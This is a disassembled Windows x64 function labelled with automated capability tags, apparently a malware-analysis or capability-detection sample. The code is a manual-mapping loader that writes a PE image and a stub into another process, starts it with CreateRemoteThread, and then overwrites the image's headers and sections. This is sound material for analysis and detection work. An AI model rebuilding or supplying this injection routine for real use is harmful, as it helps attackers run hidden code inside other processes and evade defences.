Function at 0x140001f30
Capabilities:
Allocate or change rwx memory
Create thread
Enumerate pe sections
Inject thread
Spawn thread to rwx shellcode

Disassembly:
push rbp
push rsi
push r14
push r15
lea rbp, [rsp - 0x17]
sub rsp, 0xe8
mov eax, 0x5a4d
movzx r15d, r9b
mov rsi, rdx
mov r14, rcx
cmp word [rdx], ax
je 0x140001f67
xor al, al
add rsp, 0xe8
pop r15
pop r14
pop rsi
pop rbp
ret
mov qword [rsp + 0x128], r12
mov r9d, 0x3000
movsxd r12, dword [rdx + 0x3c]
xor edx, edx
add r12, rsi
mov qword [rsp + 0xe0], r13
mov dword [rsp + 0x20], 4
mov r8d, dword [r12 + 0x50]
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov r13, rax
test rax, rax
jne 0x140001fbc
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.something_went_wrong__0x_X_n
call fcn.140005410
xor al, al
jmp 0x140002608
lea rax, [rsp + 0x40]
mov qword [rsp + 0x120], rdi
xor edi, edi
mov qword [rsp + 0x20], rax
mov dword [rsp + 0x40], edi
mov rdx, r13
mov r8d, dword [r12 + 0x50]
mov rcx, r14
lea r9d, [rdi + 0x40]
call qword [sym.imp.KERNEL32.dll_VirtualProtectEx]
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov r9d, 0x1000
mov qword [rbp - 0x71], rax
mov r8, rsi
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rdx, r13
mov qword [rbp - 0x69], rax
mov rcx, r14
mov rax, qword [sym.imp.KERNEL32.dll_RtlAddFunctionTable]
mov qword [rbp - 0x61], rax
mov eax, dword [rbp + 0x77]
mov dword [rbp - 0x49], eax
mov rax, qword [rbp + 0x7f]
mov qword [rbp - 0x41], rax
movzx eax, byte [rbp + 0x6f]
mov dword [rbp - 0x39], eax
mov qword [rbp - 0x51], rdi
mov dword [rbp - 0x45], edi
mov dword [rbp - 0x35], edi
mov qword [rbp - 0x59], r13
mov qword [rsp + 0x20], rdi
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x14000207b
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.something_went_wrong__0x_X_n
call fcn.140005410
mov r9d, 0x8000
xor r8d, r8d
mov rdx, r13
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
xor al, al
jmp 0x140002600
mov qword [rsp + 0x110], rbx
movzx ebx, word [r12 + 0x14]
add rbx, 0x2c
cmp word [r12 + 6], di
je 0x1400020d4
add rbx, r12
mov eax, dword [rbx - 4]
test eax, eax
je 0x1400020c4
mov r8d, dword [rbx]
mov r9d, eax
mov edx, dword [rbx - 8]
add r8, rsi
add rdx, r13
mov qword [rsp + 0x20], 0
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x14000212c
movzx eax, word [r12 + 6]
inc edi
add rbx, 0x28
cmp edi, eax
jne 0x140002098
xor edx, edx
mov dword [rsp + 0x20], 4
mov r9d, 0x3000
mov rcx, r14
lea r8d, [rdx + 0x40]
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov qword [rsp + 0x48], rax
mov rsi, rax
test rax, rax
jne 0x14000215a
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.something_went_wrong__0x_X_n
call fcn.140005410
mov r9d, 0x8000
xor r8d, r8d
mov rdx, r13
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
jmp 0x1400025f6
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.something_went_wrong__0x_x_n
call fcn.140005410
mov r9d, 0x8000
xor r8d, r8d
mov rdx, r13
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
jmp 0x1400025f6
xor ebx, ebx
lea r8, [rbp - 0x71]
mov rdx, rsi
mov qword [rsp + 0x20], rbx
mov rcx, r14
lea r9d, [rbx + 0x40]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x1400021bc
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.something_went_wrong__0x_X_n
call fcn.140005410
mov r9d, 0x8000
xor r8d, r8d
mov rdx, r13
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov r9d, 0x8000
xor r8d, r8d
mov rdx, rsi
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
jmp 0x1400025f6
xor edx, edx
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
mov r8d, 0x1000
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov qword [rsp + 0x50], rax
mov rdi, rax
test rax, rax
je 0x140002179
mov r9d, 0x1000
mov qword [rsp + 0x20], rbx
lea r8, [0x140002630]
mov rdx, rax
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x140002262
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.something_went_wrong__0x_X_n
call fcn.140005410
mov r9d, 0x8000
xor r8d, r8d
mov rdx, r13
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov r9d, 0x8000
xor r8d, r8d
mov rdx, rsi
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov r9d, 0x8000
xor r8d, r8d
mov rdx, rdi
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
jmp 0x1400025f6
mov qword [rsp + 0x30], rbx
mov r9, rdi
mov dword [rsp + 0x28], ebx
xor r8d, r8d
xor edx, edx
mov qword [rsp + 0x20], rsi
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
test rax, rax
je 0x14000220a
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
lea rdx, [rbp + 0x47]
mov dword [rbp + 0x47], ebx
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_GetExitCodeProcess]
mov edx, dword [rbp + 0x47]
cmp edx, 0x103
jne 0x1400025ea
xorps xmm0, xmm0
mov qword [rsp + 0x20], rbx
mov r9d, 0x40
lea r8, [rbp - 0x31]
mov rdx, rsi
mov rcx, r14
movups xmmword [rbp - 0x31], xmm0
movups xmmword [rbp - 0x21], xmm0
movups xmmword [rbp - 0x11], xmm0
movups xmmword [rbp - 1], xmm0
call qword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov rbx, qword [rbp - 0x11]
cmp rbx, 0x404040
je 0x14000221e
cmp rbx, 0x505050
jne 0x140002303
lea rcx, [0x140064d20]
call fcn.140005410
mov ecx, 0xa
call qword [sym.imp.KERNEL32.dll_Sleep]
test rbx, rbx
mov ebx, 0
je 0x140002290
mov ecx, 0x1400000
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov qword [rbp + 0x47], rax
test rax, rax
jne 0x140002341
lea rcx, [0x140064d20]
call fcn.140005410
jmp 0x1400025f6
xor edx, edx
mov r8d, 0x1400000
mov rcx, rax
call sub.VCRUNTIME140.dll_memset
test r15b, r15b
mov r15, qword [rbp + 0x47]
je 0x140002384
mov r9d, 0x1000
mov qword [rsp + 0x20], rbx
mov r8, r15
mov rdx, r13
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x140002384
lea rcx, [0x140064d20]
call fcn.140005410
cmp byte [rbp + 0x5f], bl
je 0x140002497
movzx ebx, word [r12 + 0x14]
xor edi, edi
add rbx, 0x18
add rbx, r12
cmp word [r12 + 6], di
je 0x140002497
lea r8, [0x140064e3c]
lea r9, str..rsrc
lea r10, str..reloc
nop dword [rax]
mov edx, dword [rbx + 8]
test edx, edx
je 0x140002483
cmp byte [rbp + 0x6f], 0
jne 0x1400023f6
xor ecx, ecx
nop dword [rax]
nop word [rax + rax]
movzx eax, byte [rbx + rcx]
inc rcx
cmp al, byte [r8 + rcx - 1]
jne 0x1400023f6
cmp rcx, 7
jne 0x1400023e0
jmp 0x140002434
xor ecx, ecx
nop dword [rax + rax]
movzx eax, byte [rbx + rcx]
inc rcx
cmp al, byte [r9 + rcx - 1]
jne 0x140002416
cmp rcx, 6
jne 0x140002400
jmp 0x140002434
xor ecx, ecx
nop dword [rax + rax]
movzx eax, byte [rbx + rcx]
inc rcx
cmp al, byte [r10 + rcx - 1]
jne 0x140002483
cmp rcx, 7
jne 0x140002420
mov r9, rdx
mov qword [rsp + 0x20], 0
mov edx, dword [rbx + 0xc]
mov r8, r15
add rdx, r13
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x14000246e
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov rdx, rbx
lea rcx, str._n_loader__something_went_wrong___s:_0x_x_n
mov r8d, eax
call fcn.140005410
lea r10, str..reloc
lea r9, str..rsrc
lea r8, [0x140064e3c]
movzx eax, word [r12 + 6]
inc edi
add rbx, 0x28
cmp edi, eax
jne 0x1400023c0
cmp byte [rbp + 0x67], 0
je 0x140002569
movzx ebx, word [r12 + 0x14]
xor esi, esi
add rbx, 0x18
add rbx, r12
cmp word [r12 + 6], si
je 0x140002535
lea edx, [rsi + 0x20]
nop dword [rax + rax]
mov ecx, dword [rbx + 8]
test ecx, ecx
je 0x140002525
mov eax, dword [rbx + 0x24]
mov dword [rbp + 0x47], 0
test eax, 0x80000000
jbe 0x1400024df
mov edi, 4
jmp 0x1400024ec
test eax, 0x20000000
mov edi, 2
cmova edi, edx
mov edx, dword [rbx + 0xc]
lea rax, [rbp + 0x47]
mov r8, rcx
mov qword [rsp + 0x20], rax
add rdx, r13
mov r9d, edi
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_VirtualProtectEx]
test eax, eax
jne 0x140002520
mov r8d, edi
lea rcx, str._n_loader__something_went_wrong___lX_n
mov rdx, rbx
call fcn.140005410
mov edx, reloc.WLDAP32.dll_Ordinal_32
movzx eax, word [r12 + 6]
inc esi
add rbx, 0x28
cmp esi, eax
jne 0x1400024c0
movzx eax, word [r12 + 0x14]
mov r9d, 2
mov dword [rsp + 0x44], 0
mov rdx, r13
mov rcx, r14
mov r8d, dword [rax + r12 + 0x24]
lea rax, [rsp + 0x44]
mov qword [rsp + 0x20], rax
call qword [sym.imp.KERNEL32.dll_VirtualProtectEx]
mov rsi, qword [rsp + 0x48]
mov rbx, qword [rsp + 0x50]
mov r9d, 0x1000
mov rdx, rbx
mov qword [rsp + 0x20], 0
mov r8, r15
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x14000259c
lea rcx, str._n_loader__something_went_wrong__n
call fcn.140005410
mov r9d, 0x8000
xor r8d, r8d
mov rdx, rbx
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
test eax, eax
jne 0x1400025c1
lea rcx, str._n_loader__something_went_wrong__n
call fcn.140005410
mov r9d, 0x8000
xor r8d, r8d
mov rdx, rsi
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
test eax, eax
jne 0x1400025e6
lea rcx, str._n_loader__something_went_wrong__n
call fcn.140005410
mov al, 1
jmp 0x1400025f8
lea rcx, str.something_went_wrong___d_n
call fcn.140005410
xor al, al
mov rbx, qword [rsp + 0x110]
mov rdi, qword [rsp + 0x120]
mov r12, qword [rsp + 0x128]
mov r13, qword [rsp + 0xe0]
add rsp, 0xe8
pop r15
pop r14
pop rsi
pop rbp
ret